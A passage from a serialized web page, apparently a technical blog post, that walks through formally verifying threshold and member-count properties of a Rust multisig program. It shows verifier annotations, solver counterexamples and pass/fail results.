}\n",[26022],{"type":24,"tag":32,"props":26023,"children":26024},{"__ignoreMap":7},[26025,26032,26067,26088,26095],{"type":24,"tag":90,"props":26026,"children":26027},{"class":92,"line":93},[26028],{"type":24,"tag":90,"props":26029,"children":26030},{"style":114},[26031],{"type":29,"value":25920},{"type":24,"tag":90,"props":26033,"children":26034},{"class":92,"line":200},[26035,26039,26043,26047,26051,26055,26059,26063],{"type":24,"tag":90,"props":26036,"children":26037},{"style":114},[26038],{"type":29,"value":25928},{"type":24,"tag":90,"props":26040,"children":26041},{"style":97},[26042],{"type":29,"value":361},{"type":24,"tag":90,"props":26044,"children":26045},{"style":146},[26046],{"type":29,"value":149},{"type":24,"tag":90,"props":26048,"children":26049},{"style":114},[26050],{"type":29,"value":172},{"type":24,"tag":90,"props":26052,"children":26053},{"style":120},[26054],{"type":29,"value":21209},{"type":24,"tag":90,"props":26056,"children":26057},{"style":114},[26058],{"type":29,"value":25181},{"type":24,"tag":90,"props":26060,"children":26061},{"style":120},[26062],{"type":29,"value":226},{"type":24,"tag":90,"props":26064,"children":26065},{"style":114},[26066],{"type":29,"value":25957},{"type":24,"tag":90,"props":26068,"children":26069},{"class":92,"line":239},[26070,26074,26079,26083],{"type":24,"tag":90,"props":26071,"children":26072},{"style":120},[26073],{"type":29,"value":2129},{"type":24,"tag":90,"props":26075,"children":26076},{"style":114},[26077],{"type":29,"value":26078}," threshold ",{"type":24,"tag":90,"props":26080,"children":26081},{"style":120},[26082],{"type":29,"value":2196},{"type":24,"tag":90,"props":26084,"children":26085},{"style":114},[26086],{"type":29,"value":26087}," 0\n",{"type":24,"tag":90,"props":26089,"children":26090},{"class":92,"line":248},[26091],{"type":24,"tag":90,"props":26092,"children":26093},{"style":114},[26094],{"type":29,"value":22054},{"type":24,"tag":90,"props":26096,"children":26097},{"class":92,"line":258},[26098,26102,26106,26110,26114,26118,26122,26126],{"type":24,"tag":90,"props":26099,"children":26100},{"style":97},[26101],{"type":29,"value":100},{"type":24,"tag":90,"props":26103,"children":26104},{"style":97},[26105],{"type":29,"value":105},{"type":24,"tag":90,"props":26107,"children":26108},{"style":108},[26109],{"type":29,"value":9495},{"type":24,"tag":90,"props":26111,"children":26112},{"style":114},[26113],{"type":29,"value":117},{"type":24,"tag":90,"props":26115,"children":26116},{"style":120},[26117],{"type":29,"value":3013},{"type":24,"tag":90,"props":26119,"children":26120},{"style":114},[26121],{"type":29,"value":25797},{"type":24,"tag":90,"props":26123,"children":26124},{"style":120},[26125],{"type":29,"value":3013},{"type":24,"tag":90,"props":26127,"children":26128},{"style":114},[26129],{"type":29,"value":11967},{"type":24,"tag":25,"props":26131,"children":26132},{},[26133],{"type":29,"value":26134},"A third counterexample:",{"type":24,"tag":80,"props":26136,"children":26138},{"code":26137},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[26139],{"type":24,"tag":32,"props":26140,"children":26141},{"__ignoreMap":7},[26142],{"type":29,"value":26137},{"type":24,"tag":25,"props":26144,"children":26145},{},[26146,26148,26154],{"type":29,"value":26147},"Here we see the size of our ",{"type":24,"tag":32,"props":26149,"children":26151},{"className":26150},[],[26152],{"type":29,"value":26153},"members",{"type":29,"value":26155}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":24,"tag":80,"props":26157,"children":26159},{"code":26158,"language":84,"meta":7,"className":82,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && (threshold != 0)\n && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[26160],{"type":24,"tag":32,"props":26161,"children":26162},{"__ignoreMap":7},[26163,26170,26205,26226,26278,26285],{"type":24,"tag":90,"props":26164,"children":26165},{"class":92,"line":93},[26166],{"type":24,"tag":90,"props":26167,"children":26168},{"style":114},[26169],{"type":29,"value":25920},{"type":24,"tag":90,"props":26171,"children":26172},{"class":92,"line":200},[26173,26177,26181,26185,26189,26193,26197,26201],{"type":24,"tag":90,"props":26174,"children":26175},{"style":114},[26176],{"type":29,"value":25928},{"type":24,"tag":90,"props":26178,"children":26179},{"style":97},[26180],{"type":29,"value":361},{"type":24,"tag":90,"props":26182,"children":26183},{"style":146},[26184],{"type":29,"value":149},{"type":24,"tag":90,"props":26186,"children":26187},{"style":114},[26188],{"type":29,"value":172},{"type":24,"tag":90,"props":26190,"children":26191},{"style":120},[26192],{"type":29,"value":21209},{"type":24,"tag":90,"props":26194,"children":26195},{"style":114},[26196],{"type":29,"value":25181},{"type":24,"tag":90,"props":26198,"children":26199},{"style":120},[26200],{"type":29,"value":226},{"type":24,"tag":90,"props":26202,"children":26203},{"style":114},[26204],{"type":29,"value":25957},{"type":24,"tag":90,"props":26206,"children":26207},{"class":92,"line":239},[26208,26212,26217,26221],{"type":24,"tag":90,"props":26209,"children":26210},{"style":120},[26211],{"type":29,"value":2129},{"type":24,"tag":90,"props":26213,"children":26214},{"style":114},[26215],{"type":29,"value":26216}," (threshold ",{"type":24,"tag":90,"props":26218,"children":26219},{"style":120},[26220],{"type":29,"value":2196},{"type":24,"tag":90,"props":26222,"children":26223},{"style":114},[26224],{"type":29,"value":26225}," 0)\n",{"type":24,"tag":90,"props":26227,"children":26228},{"class":92,"line":248},[26229,26233,26237,26241,26245,26249,26253,26258,26262,26266,26270,26274],{"type":24,"tag":90,"props":26230,"children":26231},{"style":120},[26232],{"type":29,"value":2129},{"type":24,"tag":90,"props":26234,"children":26235},{"style":114},[26236],{"type":29,"value":24795},{"type":24,"tag":90,"props":26238,"children":26239},{"style":120},[26240],{"type":29,"value":226},{"type":24,"tag":90,"props":26242,"children":26243},{"style":114},[26244],{"type":29,"value":22817},{"type":24,"tag":90,"props":26246,"children":26247},{"style":120},[26248],{"type":29,"value":21209},{"type":24,"tag":90,"props":26250,"children":26251},{"style":114},[26252],{"type":29,"value":1151},{"type":24,"tag":90,"props":26254,"children":26255},{"style":146},[26256],{"type":29,"value":26257},"u16",{"type":24,"tag":90,"props":26259,"children":26260},{"style":120},[26261],{"type":29,"value":1211},{"type":24,"tag":90,"props":26263,"children":26264},{"style":146},[26265],{"type":29,"value":22835},{"type":24,"tag":90,"props":26267,"children":26268},{"style":97},[26269],{"type":29,"value":409},{"type":24,"tag":90,"props":26271,"children":26272},{"style":146},[26273],{"type":29,"value":149},{"type":24,"tag":90,"props":26275,"children":26276},{"style":114},[26277],{"type":29,"value":21507},{"type":24,"tag":90,"props":26279,"children":26280},{"class":92,"line":258},[26281],{"type":24,"tag":90,"props":26282,"children":26283},{"style":114},[26284],{"type":29,"value":22054},{"type":24,"tag":90,"props":26286,"children":26287},{"class":92,"line":272},[26288,26292,26296,26300,26304,26308,26312,26316],{"type":24,"tag":90,"props":26289,"children":26290},{"style":97},[26291],{"type":29,"value":100},{"type":24,"tag":90,"props":26293,"children":26294},{"style":97},[26295],{"type":29,"value":105},{"type":24,"tag":90,"props":26297,"children":26298},{"style":108},[26299],{"type":29,"value":9495},{"type":24,"tag":90,"props":26301,"children":26302},{"style":114},[26303],{"type":29,"value":117},{"type":24,"tag":90,"props":26305,"children":26306},{"style":120},[26307],{"type":29,"value":3013},{"type":24,"tag":90,"props":26309,"children":26310},{"style":114},[26311],{"type":29,"value":25797},{"type":24,"tag":90,"props":26313,"children":26314},{"style":120},[26315],{"type":29,"value":3013},{"type":24,"tag":90,"props":26317,"children":26318},{"style":114},[26319],{"type":29,"value":11967},{"type":24,"tag":25,"props":26321,"children":26322},{},[26323],{"type":29,"value":26324},"And now we get:",{"type":24,"tag":80,"props":26326,"children":26328},{"code":26327},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[26329],{"type":24,"tag":32,"props":26330,"children":26331},{"__ignoreMap":7},[26332],{"type":29,"value":26327},{"type":24,"tag":25,"props":26334,"children":26335},{},[26336],{"type":29,"value":26337},"🥳🥳🥳",{"type":24,"tag":25,"props":26339,"children":26340},{},[26341],{"type":29,"value":26342},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":24,"tag":80,"props":26344,"children":26346},{"code":26345,"language":84,"meta":7,"className":82,"style":7},"if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n}\n",[26347],{"type":24,"tag":32,"props":26348,"children":26349},{"__ignoreMap":7},[26350,26373,26404],{"type":24,"tag":90,"props":26351,"children":26352},{"class":92,"line":93},[26353,26357,26361,26365,26369],{"type":24,"tag":90,"props":26354,"children":26355},{"style":636},[26356],{"type":29,"value":2084},{"type":24,"tag":90,"props":26358,"children":26359},{"style":136},[26360],{"type":29,"value":25260},{"type":24,"tag":90,"props":26362,"children":26363},{"style":120},[26364],{"type":29,"value":11095},{"type":24,"tag":90,"props":26366,"children":26367},{"style":349},[26368],{"type":29,"value":6909},{"type":24,"tag":90,"props":26370,"children":26371},{"style":114},[26372],{"type":29,"value":269},{"type":24,"tag":90,"props":26374,"children":26375},{"class":92,"line":200},[26376,26380,26384,26388,26392,26396,26400],{"type":24,"tag":90,"props":26377,"children":26378},{"style":636},[26379],{"type":29,"value":3510},{"type":24,"tag":90,"props":26381,"children":26382},{"style":108},[26383],{"type":29,"value":25316},{"type":24,"tag":90,"props":26385,"children":26386},{"style":114},[26387],{"type":29,"value":117},{"type":24,"tag":90,"props":26389,"children":26390},{"style":146},[26391],{"type":29,"value":25325},{"type":24,"tag":90,"props":26393,"children":26394},{"style":120},[26395],{"type":29,"value":1211},{"type":24,"tag":90,"props":26397,"children":26398},{"style":146},[26399],{"type":29,"value":25334},{"type":24,"tag":90,"props":26401,"children":26402},{"style":114},[26403],{"type":29,"value":571},{"type":24,"tag":90,"props":26405,"children":26406},{"class":92,"line":239},[26407],{"type":24,"tag":90,"props":26408,"children":26409},{"style":114},[26410],{"type":29,"value":827},{"type":24,"tag":25,"props":26412,"children":26413},{},[26414,26416,26422,26424,26429,26431,26436,26438,26443],{"type":29,"value":26415},"In this case this is actually redundant because if ",{"type":24,"tag":32,"props":26417,"children":26419},{"className":26418},[],[26420],{"type":29,"value":26421},"members.len() == 0",{"type":29,"value":26423}," then our threshold would also have to be ",{"type":24,"tag":32,"props":26425,"children":26427},{"className":26426},[],[26428],{"type":29,"value":6408},{"type":29,"value":26430}," (and our ",{"type":24,"tag":32,"props":26432,"children":26434},{"className":26433},[],[26435],{"type":29,"value":24546},{"type":29,"value":26437}," is not allowed to be ",{"type":24,"tag":32,"props":26439,"children":26441},{"className":26440},[],[26442],{"type":29,"value":6408},{"type":29,"value":26444},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":24,"tag":1019,"props":26446,"children":26448},{"id":26447},"_2-verify-threshold-requirements",[26449],{"type":29,"value":26450},"2. Verify threshold requirements",{"type":24,"tag":25,"props":26452,"children":26453},{},[26454],{"type":29,"value":26455},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":24,"tag":25,"props":26457,"children":26458},{},[26459,26461,26465],{"type":29,"value":26460},"Unlike the previous example, we want to verify this in ",{"type":24,"tag":842,"props":26462,"children":26463},{},[26464],{"type":29,"value":11674},{"type":29,"value":26466}," cases. I.e. any instruction that could mutate the multisig account.",{"type":24,"tag":25,"props":26468,"children":26469},{},[26470,26472,26476,26478,26483],{"type":29,"value":26471},"In this case, we want to model this as an ",{"type":24,"tag":842,"props":26473,"children":26474},{},[26475],{"type":29,"value":23574},{"type":29,"value":26477}," on the ",{"type":24,"tag":32,"props":26479,"children":26481},{"className":26480},[],[26482],{"type":29,"value":24538},{"type":29,"value":26484}," account struct:",{"type":24,"tag":80,"props":26486,"children":26488},{"code":26487,"language":84,"meta":7,"className":82,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[26489],{"type":24,"tag":32,"props":26490,"children":26491},{"__ignoreMap":7},[26492,26499,26524,26531,26555,26606,26613,26632,26659,26686,26713,26740,26767,26794,26821,26856],{"type":24,"tag":90,"props":26493,"children":26494},{"class":92,"line":93},[26495],{"type":24,"tag":90,"props":26496,"children":26497},{"style":114},[26498],{"type":29,"value":22566},{"type":24,"tag":90,"props":26500,"children":26501},{"class":92,"line":200},[26502,26506,26511,26515,26520],{"type":24,"tag":90,"props":26503,"children":26504},{"style":114},[26505],{"type":29,"value":24634},{"type":24,"tag":90,"props":26507,"children":26508},{"style":146},[26509],{"type":29,"value":26510},"Clone",{"type":24,"tag":90,"props":26512,"children":26513},{"style":114},[26514],{"type":29,"value":133},{"type":24,"tag":90,"props":26516,"children":26517},{"style":146},[26518],{"type":29,"value":26519},"Debug",{"type":24,"tag":90,"props":26521,"children":26522},{"style":114},[26523],{"type":29,"value":22054},{"type":24,"tag":90,"props":26525,"children":26526},{"class":92,"line":239},[26527],{"type":24,"tag":90,"props":26528,"children":26529},{"style":114},[26530],{"type":29,"value":22574},{"type":24,"tag":90,"props":26532,"children":26533},{"class":92,"line":248},[26534,26539,26543,26547,26551],{"type":24,"tag":90,"props":26535,"children":26536},{"style":114},[26537],{"type":29,"value":26538}," (self",{"type":24,"tag":90,"props":26540,"children":26541},{"style":120},[26542],{"type":29,"value":226},{"type":24,"tag":90,"props":26544,"children":26545},{"style":114},[26546],{"type":29,"value":22867},{"type":24,"tag":90,"props":26548,"children":26549},{"style":120},[26550],{"type":29,"value":12312},{"type":24,"tag":90,"props":26552,"children":26553},{"style":114},[26554],{"type":29,"value":22876},{"type":24,"tag":90,"props":26556,"children":26557},{"class":92,"line":258},[26558,26562,26566,26570,26574,26578,26582,26586,26590,26594,26598,26602],{"type":24,"tag":90,"props":26559,"children":26560},{"style":120},[26561],{"type":29,"value":2129},{"type":24,"tag":90,"props":26563,"children":26564},{"style":114},[26565],{"type":29,"value":22800},{"type":24,"tag":90,"props":26567,"children":26568},{"style":120},[26569],{"type":29,"value":226},{"type":24,"tag":90,"props":26571,"children":26572},{"style":114},[26573],{"type":29,"value":22867},{"type":24,"tag":90,"props":26575,"children":26576},{"style":97},[26577],{"type":29,"value":361},{"type":24,"tag":90,"props":26579,"children":26580},{"style":146},[26581],{"type":29,"value":149},{"type":24,"tag":90,"props":26583,"children":26584},{"style":120},[26585],{"type":29,"value":10574},{"type":24,"tag":90,"props":26587,"children":26588},{"style":114},[26589],{"type":29,"value":221},{"type":24,"tag":90,"props":26591,"children":26592},{"style":120},[26593],{"type":29,"value":226},{"type":24,"tag":90,"props":26595,"children":26596},{"style":114},[26597],{"type":29,"value":22779},{"type":24,"tag":90,"props":26599,"children":26600},{"style":120},[26601],{"type":29,"value":226},{"type":24,"tag":90,"props":26603,"children":26604},{"style":114},[26605],{"type":29,"value":22928},{"type":24,"tag":90,"props":26607,"children":26608},{"class":92,"line":272},[26609],{"type":24,"tag":90,"props":26610,"children":26611},{"style":114},[26612],{"type":29,"value":22054},{"type":24,"tag":90,"props":26614,"children":26615},{"class":92,"line":281},[26616,26620,26624,26628],{"type":24,"tag":90,"props":26617,"children":26618},{"style":97},[26619],{"type":29,"value":100},{"type":24,"tag":90,"props":26621,"children":26622},{"style":97},[26623],{"type":29,"value":22947},{"type":24,"tag":90,"props":26625,"children":26626},{"style":146},[26627],{"type":29,"value":22952},{"type":24,"tag":90,"props":26629,"children":26630},{"style":114},[26631],{"type":29,"value":269},{"type":24,"tag":90,"props":26633,"children":26634},{"class":92,"line":384},[26635,26639,26643,26647,26651,26655],{"type":24,"tag":90,"props":26636,"children":26637},{"style":97},[26638],{"type":29,"value":22639},{"type":24,"tag":90,"props":26640,"children":26641},{"style":136},[26642],{"type":29,"value":22968},{"type":24,"tag":90,"props":26644,"children":26645},{"style":120},[26646],{"type":29,"value":78},{"type":24,"tag":90,"props":26648,"children":26649},{"style":146},[26650],{"type":29,"value":22826},{"type":24,"tag":90,"props":26652,"children":26653},{"style":114},[26654],{"type":29,"value":22981},{"type":24,"tag":90,"props":26656,"children":26657},{"style":252},[26658],{"type":29,"value":22986},{"type":24,"tag":90,"props":26660,"children":26661},{"class":92,"line":420},[26662,26666,26670,26674,26678,26682],{"type":24,"tag":90,"props":26663,"children":26664},{"style":97},[26665],{"type":29,"value":22639},{"type":24,"tag":90,"props":26667,"children":26668},{"style":136},[26669],{"type":29,"value":22998},{"type":24,"tag":90,"props":26671,"children":26672},{"style":120},[26673],{"type":29,"value":78},{"type":24,"tag":90,"props":26675,"children":26676},{"style":146},[26677],{"type":29,"value":22826},{"type":24,"tag":90,"props":26679,"children":26680},{"style":114},[26681],{"type":29,"value":23011},{"type":24,"tag":90,"props":26683,"children":26684},{"style":252},[26685],{"type":29,"value":23016},{"type":24,"tag":90,"props":26687,"children":26688},{"class":92,"line":428},[26689,26693,26697,26701,26705,26709],{"type":24,"tag":90,"props":26690,"children":26691},{"style":97},[26692],{"type":29,"value":22639},{"type":24,"tag":90,"props":26694,"children":26695},{"style":136},[26696],{"type":29,"value":23028},{"type":24,"tag":90,"props":26698,"children":26699},{"style":120},[26700],{"type":29,"value":78},{"type":24,"tag":90,"props":26702,"children":26703},{"style":146},[26704],{"type":29,"value":4072},{"type":24,"tag":90,"props":26706,"children":26707},{"style":114},[26708],{"type":29,"value":23041},{"type":24,"tag":90,"props":26710,"children":26711},{"style":252},[26712],{"type":29,"value":23046},{"type":24,"tag":90,"props":26714,"children":26715},{"class":92,"line":437},[26716,26720,26724,26728,26732,26736],{"type":24,"tag":90,"props":26717,"children":26718},{"style":97},[26719],{"type":29,"value":22639},{"type":24,"tag":90,"props":26721,"children":26722},{"style":136},[26723],{"type":29,"value":23058},{"type":24,"tag":90,"props":26725,"children":26726},{"style":120},[26727],{"type":29,"value":78},{"type":24,"tag":90,"props":26729,"children":26730},{"style":146},[26731],{"type":29,"value":4072},{"type":24,"tag":90,"props":26733,"children":26734},{"style":114},[26735],{"type":29,"value":23011},{"type":24,"tag":90,"props":26737,"children":26738},{"style":252},[26739],{"type":29,"value":23075},{"type":24,"tag":90,"props":26741,"children":26742},{"class":92,"line":574},[26743,26747,26751,26755,26759,26763],{"type":24,"tag":90,"props":26744,"children":26745},{"style":97},[26746],{"type":29,"value":22639},{"type":24,"tag":90,"props":26748,"children":26749},{"style":136},[26750],{"type":29,"value":23087},{"type":24,"tag":90,"props":26752,"children":26753},{"style":120},[26754],{"type":29,"value":78},{"type":24,"tag":90,"props":26756,"children":26757},{"style":146},[26758],{"type":29,"value":1123},{"type":24,"tag":90,"props":26760,"children":26761},{"style":114},[26762],{"type":29,"value":23100},{"type":24,"tag":90,"props":26764,"children":26765},{"style":252},[26766],{"type":29,"value":23105},{"type":24,"tag":90,"props":26768,"children":26769},{"class":92,"line":606},[26770,26774,26778,26782,26786,26790],{"type":24,"tag":90,"props":26771,"children":26772},{"style":97},[26773],{"type":29,"value":22639},{"type":24,"tag":90,"props":26775,"children":26776},{"style":136},[26777],{"type":29,"value":23117},{"type":24,"tag":90,"props":26779,"children":26780},{"style":120},[26781],{"type":29,"value":78},{"type":24,"tag":90,"props":26783,"children":26784},{"style":146},[26785],{"type":29,"value":22653},{"type":24,"tag":90,"props":26787,"children":26788},{"style":114},[26789],{"type":29,"value":23130},{"type":24,"tag":90,"props":26791,"children":26792},{"style":252},[26793],{"type":29,"value":23135},{"type":24,"tag":90,"props":26795,"children":26796},{"class":92,"line":615},[26797,26801,26805,26809,26813,26817],{"type":24,"tag":90,"props":26798,"children":26799},{"style":97},[26800],{"type":29,"value":22639},{"type":24,"tag":90,"props":26802,"children":26803},{"style":136},[26804],{"type":29,"value":23147},{"type":24,"tag":90,"props":26806,"children":26807},{"style":120},[26808],{"type":29,"value":78},{"type":24,"tag":90,"props":26810,"children":26811},{"style":146},[26812],{"type":29,"value":167},{"type":24,"tag":90,"props":26814,"children":26815},{"style":114},[26816],{"type":29,"value":133},{"type":24,"tag":90,"props":26818,"children":26819},{"style":252},[26820],{"type":29,"value":23164},{"type":24,"tag":90,"props":26822,"children":26823},{"class":92,"line":623},[26824,26828,26832,26836,26840,26844,26848,26852],{"type":24,"tag":90,"props":26825,"children":26826},{"style":97},[26827],{"type":29,"value":22639},{"type":24,"tag":90,"props":26829,"children":26830},{"style":136},[26831],{"type":29,"value":23176},{"type":24,"tag":90,"props":26833,"children":26834},{"style":120},[26835],{"type":29,"value":78},{"type":24,"tag":90,"props":26837,"children":26838},{"style":146},[26839],{"type":29,"value":23185},{"type":24,"tag":90,"props":26841,"children":26842},{"style":114},[26843],{"type":29,"value":1575},{"type":24,"tag":90,"props":26845,"children":26846},{"style":146},[26847],{"type":29,"value":23194},{"type":24,"tag":90,"props":26849,"children":26850},{"style":114},[26851],{"type":29,"value":23199},{"type":24,"tag":90,"props":26853,"children":26854},{"style":252},[26855],{"type":29,"value":23204},{"type":24,"tag":90,"props":26857,"children":26858},{"class":92,"line":632},[26859],{"type":24,"tag":90,"props":26860,"children":26861},{"style":114},[26862],{"type":29,"value":827},{"type":24,"tag":25,"props":26864,"children":26865},{},[26866,26868,26873],{"type":29,"value":26867},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":24,"tag":32,"props":26869,"children":26871},{"className":26870},[],[26872],{"type":29,"value":24538},{"type":29,"value":26874}," object will be checked to ensure that the invariant still holds after modification.",{"type":24,"tag":25,"props":26876,"children":26877},{},[26878,26880,26885],{"type":29,"value":26879},"Let's try this on the ",{"type":24,"tag":32,"props":26881,"children":26883},{"className":26882},[],[26884],{"type":29,"value":24617},{"type":29,"value":26886}," instruction that we've already seen:",{"type":24,"tag":80,"props":26888,"children":26890},{"code":26889},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[26891],{"type":24,"tag":32,"props":26892,"children":26893},{"__ignoreMap":7},[26894],{"type":29,"value":26889},{"type":24,"tag":25,"props":26896,"children":26897},{},[26898,26900,26905],{"type":29,"value":26899},"To ensure this is working, we can test by commenting out this check from ",{"type":24,"tag":32,"props":26901,"children":26903},{"className":26902},[],[26904],{"type":29,"value":24617},{"type":29,"value":78},{"type":24,"tag":80,"props":26907,"children":26909},{"code":26908,"language":84,"meta":7,"className":82,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n// return err!(MsError::InvalidThreshold);\n// }\n",[26910],{"type":24,"tag":32,"props":26911,"children":26912},{"__ignoreMap":7},[26913,26921,26929],{"type":24,"tag":90,"props":26914,"children":26915},{"class":92,"line":93},[26916],{"type":24,"tag":90,"props":26917,"children":26918},{"style":252},[26919],{"type":29,"value":26920},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":24,"tag":90,"props":26922,"children":26923},{"class":92,"line":200},[26924],{"type":24,"tag":90,"props":26925,"children":26926},{"style":252},[26927],{"type":29,"value":26928},"// return err!(MsError::InvalidThreshold);\n",{"type":24,"tag":90,"props":26930,"children":26931},{"class":92,"line":239},[26932],{"type":24,"tag":90,"props":26933,"children":26934},{"style":252},[26935],{"type":29,"value":26936},"// }\n",{"type":24,"tag":25,"props":26938,"children":26939},{},[26940],{"type":29,"value":26941},"And run again:",{"type":24,"tag":80,"props":26943,"children":26945},{"code":26944},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[26946],{"type":24,"tag":32,"props":26947,"children":26948},{"__ignoreMap":7},[26949],{"type":29,"value":26944},{"type":24,"tag":25,"props":26951,"children":26952},{},[26953],{"type":29,"value":26954},"We get the following counterexample:",{"type":24,"tag":80,"props":26956,"children":26958},{"code":26957,"language":84,"meta":7,"className":82,"style":7},"Account {\n account: Ms {\n threshold: 32768,\n authority_index: 1,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: SparseVec {\n size: 5112,\n },\n },\n info: AccountInfo { ... },\n}\n",[26959],{"type":24,"tag":32,"props":26960,"children":26961},{"__ignoreMap":7},[26962,26973,26993,27013,27033,27053,27073,27093,27113,27133,27154,27175,27183,27191,27221],{"type":24,"tag":90,"props":26963,"children":26964},{"class":92,"line":93},[26965,26969],{"type":24,"tag":90,"props":26966,"children":26967},{"style":146},[26968],{"type":29,"value":3667},{"type":24,"tag":90,"props":26970,"children":26971},{"style":114},[26972],{"type":29,"value":269},{"type":24,"tag":90,"props":26974,"children":26975},{"class":92,"line":200},[26976,26981,26985,26989],{"type":24,"tag":90,"props":26977,"children":26978},{"style":136},[26979],{"type":29,"value":26980}," account",{"type":24,"tag":90,"props":26982,"children":26983},{"style":120},[26984],{"type":29,"value":78},{"type":24,"tag":90,"props":26986,"children":26987},{"style":146},[26988],{"type":29,"value":22952},{"type":24,"tag":90,"props":26990,"children":26991},{"style":114},[26992],{"type":29,"value":269},{"type":24,"tag":90,"props":26994,"children":26995},{"class":92,"line":239},[26996,27000,27004,27009],{"type":24,"tag":90,"props":26997,"children":26998},{"style":136},[26999],{"type":29,"value":25634},{"type":24,"tag":90,"props":27001,"children":27002},{"style":120},[27003],{"type":29,"value":78},{"type":24,"tag":90,"props":27005,"children":27006},{"style":349},[27007],{"type":29,"value":27008}," 32768",{"type":24,"tag":90,"props":27010,"children":27011},{"style":114},[27012],{"type":29,"value":748},{"type":24,"tag":90,"props":27014,"children":27015},{"class":92,"line":248},[27016,27021,27025,27029],{"type":24,"tag":90,"props":27017,"children":27018},{"style":136},[27019],{"type":29,"value":27020}," authority_index",{"type":24,"tag":90,"props":27022,"children":27023},{"style":120},[27024],{"type":29,"value":78},{"type":24,"tag":90,"props":27026,"children":27027},{"style":349},[27028],{"type":29,"value":6909},{"type":24,"tag":90,"props":27030,"children":27031},{"style":114},[27032],{"type":29,"value":748},{"type":24,"tag":90,"props":27034,"children":27035},{"class":92,"line":258},[27036,27041,27045,27049],{"type":24,"tag":90,"props":27037,"children":27038},{"style":136},[27039],{"type":29,"value":27040}," transaction_index",{"type":24,"tag":90,"props":27042,"children":27043},{"style":120},[27044],{"type":29,"value":78},{"type":24,"tag":90,"props":27046,"children":27047},{"style":349},[27048],{"type":29,"value":5448},{"type":24,"tag":90,"props":27050,"children":27051},{"style":114},[27052],{"type":29,"value":748},{"type":24,"tag":90,"props":27054,"children":27055},{"class":92,"line":272},[27056,27061,27065,27069],{"type":24,"tag":90,"props":27057,"children":27058},{"style":136},[27059],{"type":29,"value":27060}," ms_change_index",{"type":24,"tag":90,"props":27062,"children":27063},{"style":120},[27064],{"type":29,"value":78},{"type":24,"tag":90,"props":27066,"children":27067},{"style":349},[27068],{"type":29,"value":5448},{"type":24,"tag":90,"props":27070,"children":27071},{"style":114},[27072],{"type":29,"value":748},{"type":24,"tag":90,"props":27074,"children":27075},{"class":92,"line":281},[27076,27081,27085,27089],{"type":24,"tag":90,"props":27077,"children":27078},{"style":136},[27079],{"type":29,"value":27080}," bump",{"type":24,"tag":90,"props":27082,"children":27083},{"style":120},[27084],{"type":29,"value":78},{"type":24,"tag":90,"props":27086,"children":27087},{"style":349},[27088],{"type":29,"value":5448},{"type":24,"tag":90,"props":27090,"children":27091},{"style":114},[27092],{"type":29,"value":748},{"type":24,"tag":90,"props":27094,"children":27095},{"class":92,"line":384},[27096,27100,27104,27109],{"type":24,"tag":90,"props":27097,"children":27098},{"style":136},[27099],{"type":29,"value":25647},{"type":24,"tag":90,"props":27101,"children":27102},{"style":120},[27103],{"type":29,"value":78},{"type":24,"tag":90,"props":27105,"children":27106},{"style":120},[27107],{"type":29,"value":27108}," ...",{"type":24,"tag":90,"props":27110,"children":27111},{"style":114},[27112],{"type":29,"value":748},{"type":24,"tag":90,"props":27114,"children":27115},{"class":92,"line":420},[27116,27121,27125,27129],{"type":24,"tag":90,"props":27117,"children":27118},{"style":136},[27119],{"type":29,"value":27120}," allow_external_execute",{"type":24,"tag":90,"props":27122,"children":27123},{"style":120},[27124],{"type":29,"value":78},{"type":24,"tag":90,"props":27126,"children":27127},{"style":97},[27128],{"type":29,"value":11431},{"type":24,"tag":90,"props":27130,"children":27131},{"style":114},[27132],{"type":29,"value":748},{"type":24,"tag":90,"props":27134,"children":27135},{"class":92,"line":428},[27136,27141,27145,27150],{"type":24,"tag":90,"props":27137,"children":27138},{"style":136},[27139],{"type":29,"value":27140}," keys",{"type":24,"tag":90,"props":27142,"children":27143},{"style":120},[27144],{"type":29,"value":78},{"type":24,"tag":90,"props":27146,"children":27147},{"style":146},[27148],{"type":29,"value":27149}," SparseVec",{"type":24,"tag":90,"props":27151,"children":27152},{"style":114},[27153],{"type":29,"value":269},{"type":24,"tag":90,"props":27155,"children":27156},{"class":92,"line":437},[27157,27162,27166,27171],{"type":24,"tag":90,"props":27158,"children":27159},{"style":136},[27160],{"type":29,"value":27161}," size",{"type":24,"tag":90,"props":27163,"children":27164},{"style":120},[27165],{"type":29,"value":78},{"type":24,"tag":90,"props":27167,"children":27168},{"style":349},[27169],{"type":29,"value":27170}," 5112",{"type":24,"tag":90,"props":27172,"children":27173},{"style":114},[27174],{"type":29,"value":748},{"type":24,"tag":90,"props":27176,"children":27177},{"class":92,"line":574},[27178],{"type":24,"tag":90,"props":27179,"children":27180},{"style":114},[27181],{"type":29,"value":27182}," },\n",{"type":24,"tag":90,"props":27184,"children":27185},{"class":92,"line":606},[27186],{"type":24,"tag":90,"props":27187,"children":27188},{"style":114},[27189],{"type":29,"value":27190}," 